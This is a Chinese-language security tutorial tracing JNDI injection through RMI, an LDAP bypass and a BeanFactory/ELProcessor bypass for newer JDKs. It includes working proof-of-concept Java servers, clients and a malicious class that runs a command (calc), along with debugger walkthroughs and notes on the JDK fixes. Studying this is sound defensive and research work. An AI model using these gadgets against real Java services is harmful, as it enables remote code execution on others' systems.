March 2, 2023

从RMI到JNDI注入

研究FastJson的第一步,你首先得知道什么是JNDI注入,今天就来研究研究(得加快脚步了,要期末了害)

JDNI概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,允许客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用。这些对象可以存储在不同的命名或目录服务中,例如RMI、CORBA、LDAP、DNS等。
其中Naming Service类似于哈希表的K/V对,通过名称去获取对应的服务。Directory Service是一种特殊的Naming Service,用类似目录的方式来存取服务。

从介绍看可以知道JNDI分为四种服务

RMI前面我们见过也研究了它的反序列化隐患,而其余的几种也存在安全隐患,今天要讲的就是这些

基本使用

以一个rmi服务为例子,你先得创建一个rmi服务,然后再创建JNDI的服务端和客户端,文件结构就是之前文章中的RMI基础上再加上JNDI服务端和客户端:
浅学RMI反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

public class JNDIRMIServer {
public static void main(String[] args) throws NamingException {
InitialContext initialContext=new InitialContext();
//创建一个引用,第一个参数是恶意class的名字,第二个参数是beanfactory的名字,我们自定义(和class文件对应),第三个参数表示恶意class的地址
Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");
initialContext.rebind("rmi://localhost:1099/remoteobj",refObj);
}
}

这一个是JNDI的服务端,其中Reference表示引用,这就是上面说的四种类型之一,引用类型,我们需要准备一个恶意的class文件,就以一个普通谈计算机的例子:

1
2
3
4
5
6
7
import java.io.IOException;

public class evilref {
public evilref() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

将其编译为class文件后,在所属目录开一个http服务,用python开一个,之后准备客户端:
image.png

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIRMIClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext=new InitialContext();
initialContext.lookup("rmi://localhost:7788/remoteobj");
}
}

之后调用后直接弹出计算器:
image.png
在这个过程中lookup实际上就是去寻找了我们自定义的引用对象Ref,然后实例化触发了calc,大致的流程如上,剩下的就是往深处去分析

JDNI注入——RMI

断点给在客户端的lookup方法:
image.png
首先进入了InitialContext#lookup:
image.png
调用里面的lookup,而这个lookup实际上指的是GenericURLContext#lookup,这次JNDI调用的是RMI服务,因此进入到了GenericURLContext,对应不同的服务contenxt也会不同:
image.png
跟进lookup方法:
image.png
来到了RegistryContext类中,调用了注册中心的lookup方法,这个lookup就完完全全是RMI的部分了,之前也跟进过,所以这里是一个潜在攻击点,JNDI也存在RMI反序列化漏洞,随后会调用decodeObject方法:
image.png
本来我们传入的object是一个引用类型,到这里变成了引用Wrapper,再结合方法的名字,可以判断在JNDI服务端可能做了一层”加密”,我们客户端先停在这里,我们调试一下服务端:
image.png
一开始也是进入这里,然后跟进rebind方法:
image.png
由于是RMI服务也进入了GenericURLContext,继续跟进:
image.png
调用encode进行加密,确实存在一次encode,因此我们分析是对的,回到客户端:
image.png
那么就跟进decode了:
image.png
随后调用NamingManager.getObjectInstance,继续跟进该方法:
image.png
由于是引用类型所以进入该if调用getObjectFactoryFromReference获取对象工厂,就是一开始创建的,跟进:
image.png
在这里面可以看到获取到了ref,就是自定义ref,然后调用了loadClass加载工厂:
image.png
最后newInstance实例化弹出计算器,这就是JNDI通过RMI服务触发的注入
PS:上述操作在8u65版本下完成的,在jdk8u121后修复

修复方案

在2016年后对RMI对应的context进行了修复,添加了判断条件,JDK 6u45、7u21后,java.rmi.server.useCodebaseOnly 的值默认为true。
image.png

JNDI注入——LDAP绕过

由来

Java设计师在修复了RMI-JNDI后,先前的师傅经过了简简单单的挖掘,就发现了ldap中也可以触发JNDI注入,因此这也可以确认为一种思路,接下来我们就分析这种方式的流程以及细节
PS:以下操作在jdk8u_141版本下完成
image.png
假如调用上述payload会报错不会弹出计算机,这是因为trustURLCodebase默认变为了false,因此无法实例化恶意类了,这种情况可以使用ldap进行绕过
首先需要创建ldap服务,啥是ldap服务呢,可以把ldap理解为一个储存协议的数据库,它分为DN DC CN OU四个部分

树层次分为以下几层:

  • dn:一条记录的详细位置,由以下几种属性组成
  • dc: 一条记录所属区域(哪一个树,相当于MYSQL的数据库)
  • ou:一条记录所处的分叉(哪一个分支,支持多个ou,代表分支后的分支)
  • cn/uid:一条记录的名字/ID(树的叶节点的编号,想到与MYSQL的表主键?)

Ldap服务我们使用apache directory studio工具进行创建,它相当于控制SQL的Navicat是一款图形化界面:
image.png
image.png
这样就算创建好了,接下来就是去编辑JNDI的客户端和服务端了

1
2
3
4
5
6
7
8
9
10
11
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

public class JNDIRMIServer {
public static void main(String[] args) throws NamingException {
InitialContext initialContext=new InitialContext();
Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");
initialContext.rebind("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com",refObj);
}
}

这是服务端的代码可以发现就改了一下协议的,其余部分都是一样的

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIRMIClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext=new InitialContext();
initialContext.lookup("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com");
}
}

客户端代码如上,也几乎一样,运行之后成功弹出计算机
image.png

流程分析

断点我们同样给在lookup方法上:
image.png
根进该方法第一次进入的也是InitialContext
image.png
然后跟进该lookup:
image.png
进入了ldapURLContenxt的lookup方法中,上面也说道了一种服务对应一种context,随之进入父类lookup:
image.png
继续调用lookup:
image.png
然后进入了var2.p_lookup
image.png
再进入this.c_lookup
image.png
也是进入了Ldapctx调用了DecodeObject对引用进行解密,和之前流程一样,跟进:
image.png
又调用decodeReference
image.png
接着调用DirectoryManager.getObjectInstance
image.png
在里面获取了引用工厂,继续跟进:
image.png
对恶意类进行了类加载:
image.png
最后完成初始化过程弹出计算机:
image.png

JNDI-RMI——高版本绕过

这次JDK版本更换为了Jdk8u_202,这个版本对LDAP绕过也进行了修复,具体实现逻辑就是在最后一步实例化恶意类添加了一层条件:
image.png
多了一层判断,需要trustURLCodebase为true,否则就不能实例化恶意类
那么我们怎么绕过这个呢?我们关键的方法是NamingManager#getObjectFactoryFromReference
image.pngimage.png
在这里我们加载了类并且完成初始化,我们的思路就是找到继承ObjectFactory的类,因为这样会调用getObjectFactoryFromReference,这里也是不废话直接放答案,最终找到的类是BeanFactory
image.png
在该类有反射调用method,因此存在隐患,而我们的payload放在服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext=new InitialContext();
//Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
//initialContext.rebind("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com",ref);
initialContext.rebind("rmi://localhost:7788/remoteobj",ref);
}
}

客户端:

1
2
3
4
5
6
7
8
9
10
11
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIRMIClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext=new InitialContext();
//initialContext.lookup("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com");
initialContext.lookup("rmi://localhost:7788/remoteobj");
}
}

运行即可弹出计算机,我们还是下断点在lookup进行分析,进行一些同样的操作到了getObjectFactoryFromReference
image.png
这里的ref就是我们自定义的resourceref:
image.png
随后完成BeanFactory的初始化返回给了 getObjectFactoryFromReference
image.png
然后进入factory.getObjectInstance方法:
image.png
获取forcestring的值,我们给的是x=eval,这里经过处理会直接获取键值eval
image.png
最后反射调用EL的eval弹出计算器:
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF#JNDI